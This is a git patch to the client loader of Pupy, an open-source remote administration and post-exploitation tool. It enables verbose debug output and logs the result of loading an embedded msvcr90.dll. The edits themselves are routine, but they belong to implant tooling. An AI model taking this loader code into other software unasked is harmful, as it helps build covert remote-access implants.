From 2d28bdb9ee12e075b06284618a07f347117917f9 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Fri, 21 Oct 2016 23:18:02 +0300 Subject: [PATCH] Enable all messages when /DDEBUG --- client/sources/Makefile.linux | 4 ++-- client/sources/pupy_load.c | 8 +++++--- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/client/sources/Makefile.linux b/client/sources/Makefile.linux index 221ba295..97a554a4 100644 --- a/client/sources/Makefile.linux +++ b/client/sources/Makefile.linux @@ -21,7 +21,7 @@ endif ifdef DEBUG DEBUG_ADD :=DEBUG -CFLAGS := $(CFLAGS) /DDEBUG +CFLAGS := $(CFLAGS) /DDEBUG /DVERBOSE LINKER_OPTS := PPARCH := $(PPARCH)d else @@ -79,7 +79,7 @@ resources_msvcr90_dll.c: resources/msvcr90.dll gen_resource_header.py $(BUILDENV $(PYTHON) gen_resource_header.py $< $(PYOBJS): %.obj: %.c - $(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $< + $(CC) /c $(CFLAGS) /I$(PYTHONPATH)\\include $< main_exe.obj: main_exe.c $(CC) /c $(CFLAGS) $< diff --git a/client/sources/pupy_load.c b/client/sources/pupy_load.c index 75bbb194..88e7983d 100644 --- a/client/sources/pupy_load.c +++ b/client/sources/pupy_load.c @@ -3,7 +3,10 @@ # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ +#ifndef DEBUG #define QUIET // uncomment to avoid debug prints +#endif + #include #include #include @@ -50,10 +53,10 @@ DWORD WINAPI mainThread(LPVOID lpArg) PyGILState_STATE restore_state; if(!GetModuleHandle("msvcr90.dll")){ + int r = _load_msvcr90(resources_msvcr90_dll_start); #ifndef QUIET - fprintf(stderr,"loading msvcr90.dll\n"); + fprintf(stderr,"loading msvcr90.dll: %d\n", r); #endif - _load_msvcr90(resources_msvcr90_dll_start); } else{ #ifndef QUIET @@ -162,4 +165,3 @@ DWORD WINAPI mainThread(LPVOID lpArg) return 0; } -